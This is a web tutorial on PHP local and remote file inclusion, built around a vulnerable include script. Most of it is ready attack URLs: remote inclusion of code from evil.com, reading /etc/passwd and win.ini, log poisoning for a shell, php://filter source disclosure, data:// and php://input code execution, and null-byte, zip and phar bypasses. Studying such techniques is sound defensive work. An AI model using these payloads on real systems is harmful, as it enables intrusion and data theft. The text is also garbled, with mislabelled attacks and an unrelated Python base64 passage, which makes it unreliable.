PHP - A File Inclusion Vulnerability - Tutorial Boy -->

PHP - A File Inclusion Vulnerability

  


Definition

A file inclusion vulnerability is attributable to the PHP function in the files since the incoming file name is not properly tested.

This has led to the introduction of developers expect of the file. (Note: The file is recognized as a script file to resolve the)
  • File contains divided into the local and remote file inclusion
  • A remote file inclusion vulnerability: you can directly execute arbitrary code In the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On

Correlation Function

The PHP function
The function explanation
If an error of the operation
include
The statement can obtain in the specified file, all text/code/tags, and to use the included statement of file
Introduced the document incorrect builds only warning (E_WARNING), and the script will continue executing the script
include_once
This behavior and include statements similar to functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.
require
The statement can obtain in the specified file, all text/code/marking and copyrequireStatement of the file
Introduced the document incorrectly, That's going to produce a fatal error (E_COMPILE_ERROR) and stop scripts run
require_once
With a required statement similar functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.

The PHP function
The function explanation
highlight_file
Function file syntax highlighting
show_source
Function file syntax highlighting
readfile
Function to read a file and is written into the output buffer

If successful, the function returns the file read in the number of bytes of the object. If it fails, the function returns FALSE and comes with an error message. You can use the function name added before a '@' to hide the error output
file_get_contents
Function to read the entire file into a string
fopen
Function either open the file or URL
File
Function to read the entire file into an array

Vulnerability Hazard

  • Arbitrary code execution
  • Data for the source code of the OSS Java or sensitive information

<?php
if( isset($_GET['x']))
{
    include $_GET['x'];
}
?>

Remote File Inclusion-Code Execution

Remember a remote file inclusion vulnerability that you want to use in the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On

Victims domain: http://example.com

The attacker domain: http://evil.com
The attacker files: 1.txt

<?php phpinfo(); ?>

SQL injection attack against the role: http://example.com/1.php? x=http://evil.com/1.txt

LocalFile Contains-Execute Code

Picture Horse Write Shell

Victim domain name: http://example.com

Suppose the victim server has an upload function, but only one picture can be uploaded. At this time, we can upload a picture with a Trojan horse on the upload interface of the victim's server

When attacking: http://example.com/1.php? x=./1.jpg

Contains the log GetShell

The log records the client request and server response information

For example, when visiting: http://example.com/<? php phpinfo(); ?> <? php phpinfo(); ?> will be recorded in the log
System
Server
Location of possible error logs
Windows
Apache
./Apache/logs/error.log
Windows
nginx
./nginx/logs/error.log
Linux
Apache
/var/log/apache2/error.log
Linux
Apache
/var/log/httpd/error.log
Linux
Apache
/etc/httpd/logs/error.log
Linux
nginx
/var/log/nginx
I use phpStudy locally, so the log location is: D:\phpStudy\PHPTutorial\Apache\logs\error.log

When attacking: http://example.com/1.php x=D:\phpStudy\PHPTutorial\Apache\logs\error.log

Local Include Read File

Windows Read File

When attacking: http ://example.com/1.php? x=C:\Windows\win.ini

Linux Read File

  • When attacking: http://example.com/1.php? x=/etc/passwd

Read PHP File Source Code

If we say that we include the PHP file directly, it will be parsed, resulting in not being able to see the source code, so the file can be read using the encapsulation protocol

For example, when we attacked: http://example.com/1.php? x=php://filter/read=convert.base64-encode/resource=1.php

Indicates that the source code of the file 1.php is read

Truncation Bypass

<?php
if(isset($_GET['x']))
{
    include $_GET['x'] . '.html';
}
?>

Required environment

  • PHP version is less than 5.3.4
  • magic_quotes_gpc is off
If the above conditions are met, you can use this method to bypass

Truncated

Victim domain name: http://example.com

Local File Inclusion Attack

<?php phpinfo(); ?>

Local file contains attack: http://example.com/2.php?x=./1.jpg%00

Remote File Inclusion Attack

Remember that the remote file contains to use make sure that allow_url_fopen and allow_url_include in php.ini are both On
  • Attacker domain name: http://evil.com
  • Attacker file: 1.txt
<?php phpinfo(); ?>

Remote file contains attack: http://example.com/2.php?x=http://evil.com/1.jpg%00

Path Length Truncation

Required environment
  • PHP version is less than 5.3.10
Workaround: Use characters
  • .
  • /.
  • ./
(Note the order) to truncate, because the file path has a length limit

System file path length limitation:
  • Windows 259 bytes
  • Linux 4096 bytes
<?php phpinfo(); ?>

  • Local file contains attack: http://example.com/2.php?x=1.jpg....................................................
  • Local file contains the attack: http://example.com/2.php?x=1.jpg././././././././././././././ ././././././././././././
  • Local file contains the attack: http://example.com/2.php?x=1.jpg/./././././././././././././. /./././././././././././././././././

PHP Bypass Restrictions

Protocol
Features
file ://
Access local file system
http ://
Visit HTTP(S) URL
ftp ://
Access FTP(S) URL
php ://
Access to various input/output streams (I /O streams)
zlib ://
Compressed stream
data ://
Data (RFC 2397)
globe ://
Find matching file path patterns
phar: //
PHP archive
ssh2://
Secure Shell 2
rar ://
RAR
ogg ://
Audio stream
expect ://
Handling interactive streams

<?php
if(isset($_GET['x']))
{
    include $_GET['x'];
}
?>

file://protocol

PHP.ini:
The file:// protocol can also be used normally in the case of double off;
  • allow_url_fopen: off/on
  • allow_url_include: off/on

  • file:// is used to access local files
  • file:// [absolute path and file name of the file]

Open: http://example.com/1.php?x=file://E:/WWW/1.jpg

php://protocol

php://filter can also be used normally in the case of double off;
condition:
No need to enable allow_url_fopen
Only php://input, php://stdin, php://memory and php://temp need to enable allow_url_include.

php:// access to various input/output streams (I/O streams)

Frequently used in CTF are php://filter and php://input
  • php://filter is used to read the source code
  • php://input is used to execute PHP code

php://filter

php://filter is a meta-wrapper designed for filtering applications when the data stream is opened. This is very useful for all-in-one file functions, like readfile(), file(), and file_get_contents(), where there is no chance to apply other filters before the data stream content is read.

  • resource=<data stream to be filtered> #This parameter is required. It specifies the data stream you want to filter.
  • read=<filter list of reading chain> #This parameter is optional. One or more filter names can be set, separated by a pipe character (|).
  • write=<filter list of write chain> #This parameter is optional. One or more filter names can be set, separated by a pipe character (|).
  • <; Filter list of two chains> #Any filter list that is not prefixed with read= or write= will be applied to the read or write chain as appropriate.


http://example.com/1.php?x=php://filter/read=convert.base64-encode/resource=upload.php
  • The filter read here is convert.base64-encode, which is the same as the literal meaning, base64-encode the input stream. resource=upload.php, which means to read the content of upload.php

So you can to base64 encoding of the read document source code

Filter

The filter has a lot of kinds, have string filter, filter, compressed filters, encryption filter

String Filter


string.rot13
Perform rot13 conversion
string.toupper
Capitalize all characters
string.tolower
All lowercase characters
string.strip_tags
The result after removing empty characters, HTML and PHP tags.
The function is similar to the strip_tags() function. If you don't want some characters to be eliminated, you can use a string or an array in two ways.

Example


<?php
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.rot13');
    echo "rot13:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.toupper');
    echo "Upper:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.tolower');
    echo "Lower:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    echo "Del1:";
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE);
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    echo "Del2:";
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, "<b>");
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1'));
    echo "Del3:";
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
?>

Conversion Filter

Base64 Encoding & Decoding

Base64 encoding converts the binary data into text format, which is passed through a communication channel where a user can handle text safely. Base64 is also called Privacy enhanced Electronic mail (PEM) and is primarily used in the email encryption process.

Python includes a module called BASE64 which includes two primary functions as given below −
  • Base64.decode(input, output) − It decodes the input value parameter specified and stores the decoded output as an object.
  • Base64.encode(input, output) − It encodes the input value parameter specified and stores the decoded output as an object.
Quoted-Printable Encoding & Decoding

For example:


<?php
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-encode');
    echo "base64-encode:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $param = array('line-length' => 8,'line-break-chars' => "\n");
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-encode', STREAM_FILTER_WRITE, $param);
    echo "\nbase64-encode-split:\n";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-decode');
    echo "\nbase64-decode:";
    fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.quoted-printable-encode');
    echo "quoted-printable-encode:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.quoted-printable-decode');
    echo "\nquoted-printable-decode:";
    fwrite($fp, "This is a test.=0A");
    fclose($fp);
    echo "<br>";

?>

Compression Filter

zlib.* The compression filter is available since PHP version 5.1.0, provided that zlib is activated. It can also be used in version 5.0.x as a backdoor by installing the zlib_filter package from »PECL.

This filter is not available in PHP 4.


<?php
$params = array('level' => 6,'window' => 15,'memory' => 9);
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is ". strlen($original_text)." characters long.\n";
$fp = fopen('test.deflated','w');
stream_filter_append($fp,'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);
echo "The compressed file is ". filesize('test.deflated')." bytes long.\n";
echo "The original text was:\n";
/* Use readfile and zlib.inflate to decompress on the fly */
readfile('php://filter/zlib.inflate/resource=test.deflated');

/* Generates output:
The original text is 70 characters long.
The compressed file is 56 bytes long.
The original text was:
This is a test.
This is only a test.
This is not an important string.
 */
?>


Encryption Filter



php://filter Read the Source Code of PHP files

If we say that we include the php file directly, it will be parsed, resulting in not being able to see the source code, so the file can be read using the encapsulation protocol

For example, when we attacked: 
  • http://example.com/1.php?x=php://filter/read=convert.base64-encode/resource=1.php

php://input Execute Code

  • php://input is a read-only stream that can access the original data of the request. You can read the original data that is not parsed by the post, and execute the data in the post request as PHP code.
  • Because it does not depend on specific php.ini directives.
  • Note: php://input is invalid when enctype="multipart/form-data".

  • allow_url_fopen :off/on # can be opened or closed
  • allow_url_include: on # must be turned on



php://output


<?php  
$code=$_GET["a"];  
file_put_contents($code,"test");   
?> 

data://

  • data: resource type; coding, content
  • Datastream wrapper
  • When allow_url_include is turned on, any file inclusion will become any command execution

PHP.ini:
The data:// protocol must be on in order to be used normally;

allow_url_fopen: on
allow_url_include: on

php version is greater than or equal to php5.2
# Test code
# File name: xxx.php

<?php
$filename=$_GET["a"];
include("$filename");
?>
How to use

http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

or
http://127.0.0.1/xxx.php?a=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip://, bzip2://, zlib:// protocol


PHP.ini:
The zip://, bzip2://, zlib:// protocols can also be used normally in the case of double off;

  • allow_url_fopen: off/on
  • allow_url_include: off/on


  • The three encapsulation protocols all open compressed files directly.
  • compress.zlib://file.gz-handles compressed packages with the suffix'.gz'
  • compress.bzip2://file.bz2-the compressed package with the suffix of'.bz2' is processed
  • zip://archive.zip#dir/file.txt-Process files in the compressed package with the suffix of'.zip'


zip://, bzip2://, zlib:// are all compressed streams, you can access the sub-files in the compressed file, and more importantly, there is no need to specify the suffix name

zip://protocol

php version is greater than or equal to php5.3.0

Instructions:

  • zip://archive.zip#dir/file.txt
  • zip:// [absolute path of compressed file]#[sub-file name in compressed file]**
  • Use absolute path + URL encoding#

test:

Create a new file named zip.txt with the content <?php phpinfo();?>, and then compress it into a zip file named test.zip.

Renamed to jpg

payload: http://127.0.0.1/xxx.php?a=zip://C:\Users\cyberdevil\Desktop\test.jpg%23zip.txt

bzip2://protocol

Instructions:

  • compress.bzip2://file.bz2
  • A relative path is also ok

test

  • Use 7-zip to generate a bz2 compressed file.
  • payload: http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/cyberdevil/Desktop/test.bz2 Or change the file to jpg suffix
  • http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/cyberdevil/Desktop/test.jpg

zlib://protocol

Instructions:
  • compress.zlib://file.gz
  • A relative path is also ok
http://127.0.0.1/xxx.php?a=compress.zlib://file.gz


# 1.jpg code

<?php phpinfo(); ?>

PHP Pseudo-Protocol Knot


Small Example


# For example, this limits us to only .html files
# File name: 2.php

<?php
if(isset($_GET['x']))
{
    include $_GET['x'].'.html';
}
?>

Limits the bypass methods that can only include .xxx files

Bypass Method one-zip protocol

Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.

Attack Payload: http://example.com/2.php?x=zip://111.zip%231

Bypass Method two-zip protocol


Some upload points may be restricted, you can only upload jpg


Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.


Attack  Payload: http://example.com/2.php?x=zip://111.jpg%231

Bypass Method three-phar protocol


Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.


If you can upload a zip file, upload the zip file, if not, rename it to 111.jpg and upload it.

  • Attack payload-1: http://example.com/2.php?x=phar://111.jpg%2F1
  • Attack payload-2: http://example.com/2.php?x=phar://111.zip%2F1